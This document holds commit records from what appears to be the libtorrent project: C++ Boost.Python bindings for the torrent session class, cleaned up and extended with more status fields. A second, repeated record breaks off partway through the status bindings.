{"text":"<commit_before>\/\/ Copyright Daniel Wallin, Arvid Norberg 2006. Use, modification and distribution is\n\/\/ subject to the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n#include <boost\/python.hpp>\n#include <libtorrent\/session.hpp>\n#include <libtorrent\/torrent.hpp>\n#include <libtorrent\/storage.hpp>\n#include <libtorrent\/ip_filter.hpp>\n#include \"gil.hpp\"\n\nusing namespace boost::python;\nusing namespace libtorrent;\n\nnamespace\n{\n\n  bool listen_on(session& s, int min_, int max_, char const* interface)\n  {\n      allow_threading_guard guard;\n      return s.listen_on(std::make_pair(min_, max_), interface);\n  }\n  void outgoing_ports(session& s, int _min, int _max)\n  {\n      allow_threading_guard guard;\n      session_settings settings = s.settings();\n      settings.outgoing_ports = std::make_pair(_min, _max);\n      s.set_settings(settings);\n      return;\n  }\n#ifndef TORRENT_DISABLE_DHT\n  void add_dht_router(session& s, std::string router_, int port_)\n  {\n      allow_threading_guard guard;\n      return s.add_dht_router(std::make_pair(router_, port_));\n  }\n#endif\n\n  struct invoke_extension_factory\n  {\n      invoke_extension_factory(object const& callback)\n        : cb(callback)\n      {}\n\n      boost::shared_ptr<torrent_plugin> operator()(torrent* t, void*)\n      {\n          lock_gil lock;\n          return extract<boost::shared_ptr<torrent_plugin> >(cb(ptr(t)))();\n      }\n\n      object cb;\n  };\n\n  void add_extension(session& s, object const& e)\n  {\n      allow_threading_guard guard;\n      s.add_extension(invoke_extension_factory(e));\n  }\n\n#ifndef TORRENT_NO_DEPRECATE\n  torrent_handle add_torrent_depr(session& s, torrent_info const& ti\n    , boost::filesystem::path const& save, entry const& resume\n    , storage_mode_t storage_mode, bool paused)\n  {\n      allow_threading_guard guard;\n      return s.add_torrent(ti, save, resume, storage_mode, paused, default_storage_constructor);\n  }\n#endif\n\n  torrent_handle add_torrent(session& s, dict params)\n  {\n    add_torrent_params p;\n\n    if (params.has_key(\"ti\"))\n      p.ti = new torrent_info(extract<torrent_info const&>(params[\"ti\"]));\n\n    std::string url;\n    if (params.has_key(\"tracker_url\"))\n    {\n      url = extract<std::string>(params[\"tracker_url\"]);\n      p.tracker_url = url.c_str();\n    }\n    if (params.has_key(\"info_hash\"))\n      p.info_hash = extract<sha1_hash>(params[\"info_hash\"]);\n    std::string name;\n    if (params.has_key(\"name\"))\n    {\n      name = extract<std::string>(params[\"name\"]);\n      p.name = name.c_str();\n    }\n    p.save_path = fs::path(extract<std::string>(params[\"save_path\"]));\n\n    std::vector<char> resume_buf;\n    if (params.has_key(\"resume_data\"))\n    {\n      std::string resume = extract<std::string>(params[\"resume_data\"]);\n      resume_buf.resize(resume.size());\n      std::memcpy(&resume_buf[0], &resume[0], resume.size());\n      p.resume_data = &resume_buf;\n    }\n    if (params.has_key(\"storage_mode\"))\n        p.storage_mode = extract<storage_mode_t>(params[\"storage_mode\"]);\n    if (params.has_key(\"paused\"))\n       p.paused = params[\"paused\"];\n    if (params.has_key(\"auto_managed\"))\n       p.auto_managed = params[\"auto_managed\"];\n    if (params.has_key(\"duplicate_is_error\"))\n       p.duplicate_is_error = params[\"duplicate_is_error\"];\n    if (params.has_key(\"seed_mode\"))\n       p.seed_mode = params[\"seed_mode\"];\n    if (params.has_key(\"override_resume_data\"))\n       p.override_resume_data = params[\"override_resume_data\"];\n\n    return s.add_torrent(p);\n  }\n\n  void start_natpmp(session& s)\n  {\n      allow_threading_guard guard;\n      s.start_natpmp();\n      return;\n  }\n\n  void start_upnp(session& s)\n  {\n      allow_threading_guard guard;\n      s.start_upnp();\n      return;\n  }\n\n  list get_torrents(session& s)\n  {\n     list ret;\n     std::vector<torrent_handle> torrents = s.get_torrents();\n\n     for (std::vector<torrent_handle>::iterator i = torrents.begin(); i != torrents.end(); ++i)\n     {\n       ret.append(*i);\n     }\n     return ret;\n  }\n\n#ifndef TORRENT_DISABLE_GEO_IP\n  bool load_asnum_db(session& s, std::string file)\n  {\n      allow_threading_guard guard;\n      return s.load_asnum_db(file.c_str());\n  }\n\n  bool load_country_db(session& s, std::string file)\n  {\n      allow_threading_guard guard;\n      return s.load_country_db(file.c_str());\n  }\n#endif\n} \/\/ namespace unnamed\n\nvoid bind_session()\n{\n    class_<session_status>(\"session_status\")\n        .def_readonly(\"has_incoming_connections\", &session_status::has_incoming_connections)\n        .def_readonly(\"upload_rate\", &session_status::upload_rate)\n        .def_readonly(\"download_rate\", &session_status::download_rate)\n        .def_readonly(\"payload_upload_rate\", &session_status::payload_upload_rate)\n        .def_readonly(\"payload_download_rate\", &session_status::payload_download_rate)\n        .def_readonly(\"total_download\", &session_status::total_download)\n        .def_readonly(\"total_upload\", &session_status::total_upload)\n        .def_readonly(\"total_payload_download\", &session_status::total_payload_download)\n        .def_readonly(\"total_payload_upload\", &session_status::total_payload_upload)\n        .def_readonly(\"num_peers\", &session_status::num_peers)\n#ifndef TORRENT_DISABLE_DHT\n        .def_readonly(\"dht_nodes\", &session_status::dht_nodes)\n        .def_readonly(\"dht_cache_nodes\", &session_status::dht_node_cache)\n        .def_readonly(\"dht_torrents\", &session_status::dht_torrents)\n#endif\n        ;\n\n    enum_<storage_mode_t>(\"storage_mode_t\")\n        .value(\"storage_mode_allocate\", storage_mode_allocate)\n        .value(\"storage_mode_sparse\", storage_mode_sparse)\n        .value(\"storage_mode_compact\", storage_mode_compact)\n    ;\n\n    enum_<session::options_t>(\"options_t\")\n        .value(\"none\", session::none)\n        .value(\"delete_files\", session::delete_files)\n    ;\n\n    enum_<session::session_flags_t>(\"session_flags_t\")\n        .value(\"add_default_plugins\", session::add_default_plugins)\n        .value(\"start_default_features\", session::start_default_features)\n    ;\n\n    class_<session, boost::noncopyable>(\"session\", no_init)\n        .def(\n            init<fingerprint, int>((\n                arg(\"fingerprint\")=fingerprint(\"LT\",0,1,0,0)\n                , arg(\"flags\")=session::start_default_features | session::add_default_plugins))\n        )\n        .def(\n            \"listen_on\", &listen_on\n          , (arg(\"min\"), \"max\", arg(\"interface\") = (char const*)0)\n        )\n        .def(\"outgoing_ports\", &outgoing_ports)\n        .def(\"is_listening\", allow_threads(&session::is_listening))\n        .def(\"listen_port\", allow_threads(&session::listen_port))\n        .def(\"status\", allow_threads(&session::status))\n#ifndef TORRENT_DISABLE_DHT\n        .def(\n            \"add_dht_router\", &add_dht_router\n          , (arg(\"router\"), \"port\")\n        )\n        .def(\"start_dht\", allow_threads(&session::start_dht))\n        .def(\"stop_dht\", allow_threads(&session::stop_dht))\n        .def(\"dht_state\", allow_threads(&session::dht_state))\n        .def(\"set_dht_proxy\", allow_threads(&session::set_dht_proxy))\n        .def(\"dht_proxy\", allow_threads(&session::dht_proxy), return_value_policy<copy_const_reference>())\n#endif\n        .def(\"add_torrent\", &add_torrent)\n#ifndef TORRENT_NO_DEPRECATE\n        .def(\n            \"add_torrent\", &add_torrent_depr\n          , (\n                arg(\"resume_data\") = entry(),\n\t\t\t\t\t arg(\"storage_mode\") = storage_mode_sparse,\n                arg(\"paused\") = false\n            )\n        )\n#endif\n        .def(\"remove_torrent\", allow_threads(&session::remove_torrent), arg(\"option\") = session::none\n)\n        .def(\"set_local_download_rate_limit\", allow_threads(&session::set_local_download_rate_limit))\n        .def(\"local_download_rate_limit\", allow_threads(&session::local_download_rate_limit))\n\n        .def(\"set_local_upload_rate_limit\", allow_threads(&session::set_local_upload_rate_limit))\n        .def(\"local_upload_rate_limit\", allow_threads(&session::local_upload_rate_limit))\n\n        .def(\"set_download_rate_limit\", allow_threads(&session::set_download_rate_limit))\n        .def(\"download_rate_limit\", allow_threads(&session::download_rate_limit))\n\n        .def(\"set_upload_rate_limit\", allow_threads(&session::set_upload_rate_limit))\n        .def(\"upload_rate_limit\", allow_threads(&session::upload_rate_limit))\n\n        .def(\"set_max_uploads\", allow_threads(&session::set_max_uploads))\n        .def(\"set_max_connections\", allow_threads(&session::set_max_connections))\n        .def(\"set_max_half_open_connections\", allow_threads(&session::set_max_half_open_connections))\n        .def(\"num_connections\", allow_threads(&session::num_connections))\n        .def(\"set_settings\", allow_threads(&session::set_settings))\n        .def(\"settings\", allow_threads(&session::settings), return_value_policy<copy_const_reference>())\n#ifndef TORRENT_DISABLE_ENCRYPTION\n        .def(\"set_pe_settings\", allow_threads(&session::set_pe_settings))\n        .def(\"get_pe_settings\", allow_threads(&session::get_pe_settings), return_value_policy<copy_const_reference>())\n#endif\n#ifndef TORRENT_DISABLE_GEO_IP\n        .def(\"load_asnum_db\", &load_asnum_db)\n        .def(\"load_country_db\", &load_country_db)\n#endif\n        .def(\"load_state\", allow_threads(&session::load_state))\n        .def(\"state\", allow_threads(&session::state))\n#ifndef TORRENT_NO_DEPRECATE\n        .def(\"set_severity_level\", allow_threads(&session::set_severity_level))\n#endif\n        .def(\"set_alert_mask\", allow_threads(&session::set_alert_mask))\n        .def(\"pop_alert\", allow_threads(&session::pop_alert))\n        .def(\"add_extension\", &add_extension)\n        .def(\"set_peer_proxy\", allow_threads(&session::set_peer_proxy))\n        .def(\"set_tracker_proxy\", allow_threads(&session::set_tracker_proxy))\n        .def(\"set_web_seed_proxy\", allow_threads(&session::set_web_seed_proxy))\n        .def(\"peer_proxy\", allow_threads(&session::peer_proxy), return_value_policy<copy_const_reference>())\n        .def(\"tracker_proxy\", allow_threads(&session::tracker_proxy), return_value_policy<copy_const_reference>())\n        .def(\"web_seed_proxy\", allow_threads(&session::web_seed_proxy), return_value_policy<copy_const_reference>())\n        .def(\"start_upnp\", &start_upnp)\n        .def(\"stop_upnp\", allow_threads(&session::stop_upnp))\n        .def(\"start_lsd\", allow_threads(&session::start_lsd))\n        .def(\"stop_lsd\", allow_threads(&session::stop_lsd))\n        .def(\"start_natpmp\", &start_natpmp)\n        .def(\"stop_natpmp\", allow_threads(&session::stop_natpmp))\n        .def(\"set_ip_filter\", allow_threads(&session::set_ip_filter))\n        .def(\"find_torrent\", allow_threads(&session::find_torrent))\n        .def(\"get_torrents\", &get_torrents)\n        .def(\"pause\", allow_threads(&session::pause))\n        .def(\"resume\", allow_threads(&session::resume))\n        .def(\"is_paused\", allow_threads(&session::is_paused))\n        .def(\"id\", allow_threads(&session::id))\n        ;\n\n    register_ptr_to_python<std::auto_ptr<alert> >();\n}\n<commit_msg>Update and clean-up session.cpp in python bindings<commit_after>\/\/ Copyright Daniel Wallin, Arvid Norberg 2006. Use, modification and distribution is\n\/\/ subject to the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n#include <boost\/python.hpp>\n#include <libtorrent\/session.hpp>\n#include <libtorrent\/torrent.hpp>\n#include <libtorrent\/storage.hpp>\n#include <libtorrent\/ip_filter.hpp>\n#include \"gil.hpp\"\n\nusing namespace boost::python;\nusing namespace libtorrent;\n\nnamespace\n{\n    bool listen_on(session& s, int min_, int max_, char const* interface)\n    {\n        allow_threading_guard guard;\n        return s.listen_on(std::make_pair(min_, max_), interface);\n    }\n\n    void outgoing_ports(session& s, int _min, int _max)\n    {\n        allow_threading_guard guard;\n        session_settings settings = s.settings();\n        settings.outgoing_ports = std::make_pair(_min, _max);\n        s.set_settings(settings);\n        return;\n    }\n#ifndef TORRENT_DISABLE_DHT\n    void add_dht_router(session& s, std::string router_, int port_)\n    {\n        allow_threading_guard guard;\n        return s.add_dht_router(std::make_pair(router_, port_));\n    }\n#endif\n\n    struct invoke_extension_factory\n    {\n        invoke_extension_factory(object const& callback)\n            : cb(callback)\n        {}\n\n        boost::shared_ptr<torrent_plugin> operator()(torrent* t, void*)\n        {\n           lock_gil lock;\n           return extract<boost::shared_ptr<torrent_plugin> >(cb(ptr(t)))();\n        }\n\n        object cb;\n    };\n\n    void add_extension(session& s, object const& e)\n    {\n        allow_threading_guard guard;\n        s.add_extension(invoke_extension_factory(e));\n    }\n\n#ifndef TORRENT_NO_DEPRECATE\n    torrent_handle add_torrent_depr(session& s, torrent_info const& ti\n        , boost::filesystem::path const& save, entry const& resume\n        , storage_mode_t storage_mode, bool paused)\n    {\n        allow_threading_guard guard;\n        return s.add_torrent(ti, save, resume, storage_mode, paused, default_storage_constructor);\n    }\n#endif\n\n    torrent_handle add_torrent(session& s, dict params)\n    {\n        add_torrent_params p;\n\n        if (params.has_key(\"ti\"))\n            p.ti = new torrent_info(extract<torrent_info const&>(params[\"ti\"]));\n\n        std::string url;\n        if (params.has_key(\"tracker_url\"))\n        {\n            url = extract<std::string>(params[\"tracker_url\"]);\n            p.tracker_url = url.c_str();\n        }\n        if (params.has_key(\"info_hash\"))\n            p.info_hash = extract<sha1_hash>(params[\"info_hash\"]);\n        std::string name;\n        if (params.has_key(\"name\"))\n        {\n            name = extract<std::string>(params[\"name\"]);\n            p.name = name.c_str();\n        }\n        p.save_path = fs::path(extract<std::string>(params[\"save_path\"]));\n\n        std::vector<char> resume_buf;\n        if (params.has_key(\"resume_data\"))\n        {\n            std::string resume = extract<std::string>(params[\"resume_data\"]);\n            resume_buf.resize(resume.size());\n            std::memcpy(&resume_buf[0], &resume[0], resume.size());\n            p.resume_data = &resume_buf;\n        }\n        if (params.has_key(\"storage_mode\"))\n            p.storage_mode = extract<storage_mode_t>(params[\"storage_mode\"]);\n        if (params.has_key(\"paused\"))\n            p.paused = params[\"paused\"];\n        if (params.has_key(\"auto_managed\"))\n            p.auto_managed = params[\"auto_managed\"];\n        if (params.has_key(\"duplicate_is_error\"))\n            p.duplicate_is_error = params[\"duplicate_is_error\"];\n        if (params.has_key(\"seed_mode\"))\n            p.seed_mode = params[\"seed_mode\"];\n        if (params.has_key(\"override_resume_data\"))\n            p.override_resume_data = params[\"override_resume_data\"];\n            \n        return s.add_torrent(p);\n    }\n\n    void start_natpmp(session& s)\n    {\n        allow_threading_guard guard;\n        s.start_natpmp();\n        return;\n    }\n\n    void start_upnp(session& s)\n    {\n        allow_threading_guard guard;\n        s.start_upnp();\n        return;\n    }\n\n    list get_torrents(session& s)\n    {\n        list ret;\n        std::vector<torrent_handle> torrents = s.get_torrents();\n\n        for (std::vector<torrent_handle>::iterator i = torrents.begin(); i != torrents.end(); ++i)\n        {\n            ret.append(*i);\n        }\n        return ret;\n    }\n\n#ifndef TORRENT_DISABLE_GEO_IP\n    bool load_asnum_db(session& s, std::string file)\n    {\n        allow_threading_guard guard;\n        return s.load_asnum_db(file.c_str());\n    }\n\n    bool load_country_db(session& s, std::string file)\n    {\n        allow_threading_guard guard;\n        return s.load_country_db(file.c_str());\n    }\n#endif\n} \/\/ namespace unnamed\n\n\nvoid bind_session()\n{\n    class_<session_status>(\"session_status\")\n        .def_readonly(\"has_incoming_connections\", &session_status::has_incoming_connections)\n\n        .def_readonly(\"upload_rate\", &session_status::upload_rate)\n        .def_readonly(\"download_rate\", &session_status::download_rate)\n        .def_readonly(\"total_download\", &session_status::total_download)\n        .def_readonly(\"total_upload\", &session_status::total_upload)\n\n        .def_readonly(\"payload_upload_rate\", &session_status::payload_upload_rate)\n        .def_readonly(\"payload_download_rate\", &session_status::payload_download_rate)\n        .def_readonly(\"total_payload_download\", &session_status::total_payload_download)\n        .def_readonly(\"total_payload_upload\", &session_status::total_payload_upload)\n\n        .def_readonly(\"ip_overhead_upload_rate\", &session_status::ip_overhead_upload_rate)\n        .def_readonly(\"ip_overhead_download_rate\", &session_status::ip_overhead_download_rate)\n        .def_readonly(\"total_ip_overhead_download\", &session_status::total_ip_overhead_download)\n        .def_readonly(\"total_ip_overhead_upload\", &session_status::total_ip_overhead_upload)\n        \n        .def_readonly(\"dht_upload_rate\", &session_status::dht_upload_rate)\n        .def_readonly(\"dht_download_rate\", &session_status::dht_download_rate)\n        .def_readonly(\"total_dht_download\", &session_status::total_dht_download)\n        .def_readonly(\"total_dht_upload\", &session_status::total_dht_upload)\n        \n        .def_readonly(\"tracker_upload_rate\", &session_status::tracker_upload_rate)\n        .def_readonly(\"tracker_download_rate\", &session_status::tracker_download_rate)\n        .def_readonly(\"total_tracker_download\", &session_status::total_tracker_download)\n        .def_readonly(\"total_tracker_upload\", &session_status::total_tracker_upload)\n        \n        .def_readonly(\"total_redundant_bytes\", &session_status::total_redundant_bytes)\n        .def_readonly(\"total_failed_bytes\", &session_status::total_failed_bytes)\n        \n        .def_readonly(\"num_peers\", &session_status::num_peers)\n        .def_readonly(\"num_unchoked\", &session_status::num_unchoked)\n        .def_readonly(\"allowed_upload_slots\", &session_status::allowed_upload_slots)\n        \n        .def_readonly(\"up_bandwidth_queue\", &session_status::up_bandwidth_queue)\n        .def_readonly(\"down_bandwidth_queue\", &session_status::down_bandwidth_queue)\n        \n        .def_readonly(\"up_bandwidth_bytes_queue\", &session_status::up_bandwidth_bytes_queue)\n        .def_readonly(\"down_bandwidth_bytes_queue\", &session_status::down_bandwidth_bytes_queue)\n        \n        .def_readonly(\"optimistic_unchoke_counter\", &session_status::optimistic_unchoke_counter)\n        .def_readonly(\"unchoke_counter\", &session_status::unchoke_counter)\n        \n#ifndef TORRENT_DISABLE_DHT\n        .def_readonly(\"dht_nodes\", &session_status::dht_nodes)\n        .def_readonly(\"dht_cache_nodes\", &session_status::dht_node_cache)\n        .def_readonly(\"dht_torrents\", &session_status::dht_torrents)\n        .def_readonly(\"dht_global_nodes\", &session_status::dht_global_nodes)\n        .def_readonly(\"active_requests\", &session_status::active_requests)\n#endif\n        ;\n\n    class_<dht_lookup>(\"dht_lookup\")\n        .def_readonly(\"type\", &dht_lookup::type)\n        .def_readonly(\"outstanding_requests\", &dht_lookup::outstanding_requests)\n        .def_readonly(\"timeouts\", &dht_lookup::timeouts)\n        .def_readonly(\"response\", &dht_lookup::responses)\n        .def_readonly(\"branch_factor\", &dht_lookup::branch_factor)\n    ;\n        \n    enum_<storage_mode_t>(\"storage_mode_t\")\n        .value(\"storage_mode_allocate\", storage_mode_allocate)\n        .value(\"storage_mode_sparse\", storage_mode_sparse)\n        .value(\"storage_mode_compact\", storage_mode_compact)\n    ;\n\n    enum_<session::options_t>(\"options_t\")\n        .value(\"none\", session::none)\n        .value(\"delete_files\", session::delete_files)\n    ;\n\n    enum_<session::session_flags_t>(\"session_flags_t\")\n        .value(\"add_default_plugins\", session::add_default_plugins)\n        .value(\"start_default_features\", session::start_default_features)\n    ;\n\n    class_<session, boost::noncopyable>(\"session\", no_init)\n        .def(\n            init<fingerprint, int>((\n                arg(\"fingerprint\")=fingerprint(\"LT\",0,1,0,0)\n                , arg(\"flags\")=session::start_default_features | session::add_default_plugins))\n        )\n        .def(\n            \"listen_on\", &listen_on\n          , (arg(\"min\"), \"max\", arg(\"interface\") = (char const*)0)\n        )\n        .def(\"outgoing_ports\", &outgoing_ports)\n        .def(\"is_listening\", allow_threads(&session::is_listening))\n        .def(\"listen_port\", allow_threads(&session::listen_port))\n        .def(\"status\", allow_threads(&session::status))\n#ifndef TORRENT_DISABLE_DHT\n        .def(\n            \"add_dht_router\", &add_dht_router\n          , (arg(\"router\"), \"port\")\n        )\n        .def(\"start_dht\", allow_threads(&session::start_dht))\n        .def(\"stop_dht\", allow_threads(&session::stop_dht))\n        .def(\"dht_state\", allow_threads(&session::dht_state))\n        .def(\"set_dht_proxy\", allow_threads(&session::set_dht_proxy))\n        .def(\"dht_proxy\", allow_threads(&session::dht_proxy), return_value_policy<copy_const_reference>())\n#endif\n        .def(\"add_torrent\", &add_torrent)\n#ifndef TORRENT_NO_DEPRECATE\n        .def(\n            \"add_torrent\", &add_torrent_depr\n          , (\n                arg(\"resume_data\") = entry(),\n\t\t\t\t\t arg(\"storage_mode\") = storage_mode_sparse,\n                arg(\"paused\") = false\n            )\n        )\n#endif\n        .def(\"remove_torrent\", allow_threads(&session::remove_torrent), arg(\"option\") = session::none\n)\n        .def(\"set_local_download_rate_limit\", allow_threads(&session::set_local_download_rate_limit))\n        .def(\"local_download_rate_limit\", allow_threads(&session::local_download_rate_limit))\n\n        .def(\"set_local_upload_rate_limit\", allow_threads(&session::set_local_upload_rate_limit))\n        .def(\"local_upload_rate_limit\", allow_threads(&session::local_upload_rate_limit))\n\n        .def(\"set_download_rate_limit\", allow_threads(&session::set_download_rate_limit))\n        .def(\"download_rate_limit\", allow_threads(&session::download_rate_limit))\n\n        .def(\"set_upload_rate_limit\", allow_threads(&session::set_upload_rate_limit))\n        .def(\"upload_rate_limit\", allow_threads(&session::upload_rate_limit))\n\n        .def(\"set_max_uploads\", allow_threads(&session::set_max_uploads))\n        .def(\"set_max_connections\", allow_threads(&session::set_max_connections))\n        .def(\"set_max_half_open_connections\", allow_threads(&session::set_max_half_open_connections))\n        .def(\"num_connections\", allow_threads(&session::num_connections))\n        .def(\"set_settings\", allow_threads(&session::set_settings))\n        .def(\"settings\", allow_threads(&session::settings), return_value_policy<copy_const_reference>())\n#ifndef TORRENT_DISABLE_ENCRYPTION\n        .def(\"set_pe_settings\", allow_threads(&session::set_pe_settings))\n        .def(\"get_pe_settings\", allow_threads(&session::get_pe_settings), return_value_policy<copy_const_reference>())\n#endif\n#ifndef TORRENT_DISABLE_GEO_IP\n        .def(\"load_asnum_db\", &load_asnum_db)\n        .def(\"load_country_db\", &load_country_db)\n#endif\n        .def(\"load_state\", allow_threads(&session::load_state))\n        .def(\"state\", allow_threads(&session::state))\n#ifndef TORRENT_NO_DEPRECATE\n        .def(\"set_severity_level\", allow_threads(&session::set_severity_level))\n#endif\n        .def(\"set_alert_mask\", allow_threads(&session::set_alert_mask))\n        .def(\"pop_alert\", allow_threads(&session::pop_alert))\n        .def(\"add_extension\", &add_extension)\n        .def(\"set_peer_proxy\", allow_threads(&session::set_peer_proxy))\n        .def(\"set_tracker_proxy\", allow_threads(&session::set_tracker_proxy))\n        .def(\"set_web_seed_proxy\", allow_threads(&session::set_web_seed_proxy))\n        .def(\"peer_proxy\", allow_threads(&session::peer_proxy), return_value_policy<copy_const_reference>())\n        .def(\"tracker_proxy\", allow_threads(&session::tracker_proxy), return_value_policy<copy_const_reference>())\n        .def(\"web_seed_proxy\", allow_threads(&session::web_seed_proxy), return_value_policy<copy_const_reference>())\n        .def(\"start_upnp\", &start_upnp)\n        .def(\"stop_upnp\", allow_threads(&session::stop_upnp))\n        .def(\"start_lsd\", allow_threads(&session::start_lsd))\n        .def(\"stop_lsd\", allow_threads(&session::stop_lsd))\n        .def(\"start_natpmp\", &start_natpmp)\n        .def(\"stop_natpmp\", allow_threads(&session::stop_natpmp))\n        .def(\"set_ip_filter\", allow_threads(&session::set_ip_filter))\n        .def(\"find_torrent\", allow_threads(&session::find_torrent))\n        .def(\"get_torrents\", &get_torrents)\n        .def(\"pause\", allow_threads(&session::pause))\n        .def(\"resume\", allow_threads(&session::resume))\n        .def(\"is_paused\", allow_threads(&session::is_paused))\n        .def(\"id\", allow_threads(&session::id))\n        ;\n\n    register_ptr_to_python<std::auto_ptr<alert> >();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright Daniel Wallin, Arvid Norberg 2006. Use, modification and distribution is\n\/\/ subject to the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n#include <boost\/python.hpp>\n#include <libtorrent\/session.hpp>\n#include <libtorrent\/torrent.hpp>\n#include <libtorrent\/storage.hpp>\n#include <libtorrent\/ip_filter.hpp>\n#include \"gil.hpp\"\n\nusing namespace boost::python;\nusing namespace libtorrent;\n\nnamespace\n{\n    bool listen_on(session& s, int min_, int max_, char const* interface)\n    {\n        allow_threading_guard guard;\n        return s.listen_on(std::make_pair(min_, max_), interface);\n    }\n\n    void outgoing_ports(session& s, int _min, int _max)\n    {\n        allow_threading_guard guard;\n        session_settings settings = s.settings();\n        settings.outgoing_ports = std::make_pair(_min, _max);\n        s.set_settings(settings);\n        return;\n    }\n#ifndef TORRENT_DISABLE_DHT\n    void add_dht_router(session& s, std::string router_, int port_)\n    {\n        allow_threading_guard guard;\n        return s.add_dht_router(std::make_pair(router_, port_));\n    }\n#endif\n\n    struct invoke_extension_factory\n    {\n        invoke_extension_factory(object const& callback)\n            : cb(callback)\n        {}\n\n        boost::shared_ptr<torrent_plugin> operator()(torrent* t, void*)\n        {\n           lock_gil lock;\n           return extract<boost::shared_ptr<torrent_plugin> >(cb(ptr(t)))();\n        }\n\n        object cb;\n    };\n\n    void add_extension(session& s, object const& e)\n    {\n        allow_threading_guard guard;\n        s.add_extension(invoke_extension_factory(e));\n    }\n\n#ifndef TORRENT_NO_DEPRECATE\n    torrent_handle add_torrent_depr(session& s, torrent_info const& ti\n        , boost::filesystem::path const& save, entry const& resume\n        , storage_mode_t storage_mode, bool paused)\n    {\n        allow_threading_guard guard;\n        return s.add_torrent(ti, save, resume, storage_mode, paused, default_storage_constructor);\n    }\n#endif\n\n    torrent_handle add_torrent(session& s, dict params)\n    {\n        add_torrent_params p;\n\n        if (params.has_key(\"ti\"))\n            p.ti = new torrent_info(extract<torrent_info const&>(params[\"ti\"]));\n\n        std::string url;\n        if (params.has_key(\"tracker_url\"))\n        {\n            url = extract<std::string>(params[\"tracker_url\"]);\n            p.tracker_url = url.c_str();\n        }\n        if (params.has_key(\"info_hash\"))\n            p.info_hash = extract<sha1_hash>(params[\"info_hash\"]);\n        std::string name;\n        if (params.has_key(\"name\"))\n        {\n            name = extract<std::string>(params[\"name\"]);\n            p.name = name.c_str();\n        }\n        p.save_path = fs::path(extract<std::string>(params[\"save_path\"]));\n\n        std::vector<char> resume_buf;\n        if (params.has_key(\"resume_data\"))\n        {\n            std::string resume = extract<std::string>(params[\"resume_data\"]);\n            resume_buf.resize(resume.size());\n            std::memcpy(&resume_buf[0], &resume[0], resume.size());\n            p.resume_data = &resume_buf;\n        }\n        if (params.has_key(\"storage_mode\"))\n            p.storage_mode = extract<storage_mode_t>(params[\"storage_mode\"]);\n        if (params.has_key(\"paused\"))\n            p.paused = params[\"paused\"];\n        if (params.has_key(\"auto_managed\"))\n            p.auto_managed = params[\"auto_managed\"];\n        if (params.has_key(\"duplicate_is_error\"))\n            p.duplicate_is_error = params[\"duplicate_is_error\"];\n        if (params.has_key(\"seed_mode\"))\n            p.seed_mode = params[\"seed_mode\"];\n        if (params.has_key(\"override_resume_data\"))\n            p.override_resume_data = params[\"override_resume_data\"];\n            \n        return s.add_torrent(p);\n    }\n\n    void start_natpmp(session& s)\n    {\n        allow_threading_guard guard;\n        s.start_natpmp();\n        return;\n    }\n\n    void start_upnp(session& s)\n    {\n        allow_threading_guard guard;\n        s.start_upnp();\n        return;\n    }\n\n    list get_torrents(session& s)\n    {\n        list ret;\n        std::vector<torrent_handle> torrents = s.get_torrents();\n\n        for (std::vector<torrent_handle>::iterator i = torrents.begin(); i != torrents.end(); ++i)\n        {\n            ret.append(*i);\n        }\n        return ret;\n    }\n\n#ifndef TORRENT_DISABLE_GEO_IP\n    bool load_asnum_db(session& s, std::string file)\n    {\n        allow_threading_guard guard;\n        return s.load_asnum_db(file.c_str());\n    }\n\n    bool load_country_db(session& s, std::string file)\n    {\n        allow_threading_guard guard;\n        return s.load_country_db(file.c_str());\n    }\n#endif\n} \/\/ namespace unnamed\n\n\nvoid bind_session()\n{\n    class_<session_status>(\"session_status\")\n        .def_readonly(\"has_incoming_connections\", &session_status::has_incoming_connections)\n\n        .def_readonly(\"upload_rate\", &session_status::upload_rate)\n        .def_readonly(\"download_rate\", &session_status::download_rate)\n        .def_readonly(\"total_download\", &session_status::total_download)\n        .def_readonly(\"total_upload\", &session_status::total_upload)\n\n        .def_readonly(\"payload_upload_rate\", &session_status::payload_upload_rate)\n        .def_readonly(\"payload_download_rate\", &session_status::payload_download_rate)\n        .def_readonly(\"total_payload_download\", &session_status::total_payload_download)\n        .def_readonly(\"total_payload_upload\", &session_status::total_payload_upload)\n\n        .def_readonly(\"ip_overhead_upload_rate\", &session_status::ip_overhead_upload_rate)\n        .def_readonly(\"ip_overhead_download_rate\", &session_status::ip_overhead_download_rate)\n        .def_readonly(\"total_ip_overhead_download\", &session_status::total_ip_overhead_download)\n        .def_readonly(\"total_ip_overhead_upload\", &session_status::total_ip_overhead_upload)\n        \n        .def_readonly(\"dht_upload_rate\", &session_status::dht_upload_rate)\n        .def_readonly(\"dht_download_rate\", &session_status::dht_download_rate)\n        .def_readonly(\"total_dht_download\", &session_status::total_dht_download)\n        .def_readonly(\"total_dht_upload\", &session_status::total_dht_upload)\n        \n        .def_readonly(\"tracker_upload_rate\", &session_status::tracker_upload_rate)\n        .def_readonly(\"tracker_download_rate\", &session_status::tracker_download_rate)\n        .def_readonly(\"total_tracker_download\", &session_status::total_tracker_download)\n        .def_readonly(\"total_tracker_upload\", &session_status::total_tracker_upload)\n        \n        .def_readonly(\"total_redundant_bytes\", &session_status::total_redundant_bytes)\n        .def_readonly(\"total_failed_bytes\", &session_status::total_failed_bytes)\n        \n        .def_readonly(\"num_peers\", &session_status::num_peers)\n        .def_readonly(\"num_unchoked\", &session_status::num_unchoked)\n        .def_readonly(\"allowed_upload_slots\", &session_status::allowed_upload_slots)\n        \n        .def_readonly(\"up_bandwidth_queue\", &session_status::up_bandwidth_queue)\n        .def_readonly(\"down_bandwidth_queue\", &session_status::down_bandwidth_queue)\n        \n        .def_readonly(\"up_bandwidth_bytes_queue\", &session_status::up_bandwidth_bytes_queue)\n        .def_readonly(\"down_bandwidth_bytes_queue\", &session_status::down_bandwidth_bytes_queue)\n        \n        .def_readonly(\"optimistic_unchoke_counter\", &session_status::optimistic_unchoke_counter)\n        .def_readonly(\"unchoke_counter\", &session_status::unchoke_counter)\n        \n#ifndef TORRENT_DISABLE_DHT\n        .def_readonly(\"dht_nodes\", &session_status::dht_nodes)\n        .def_readonly(\"dht_cache_nodes\", 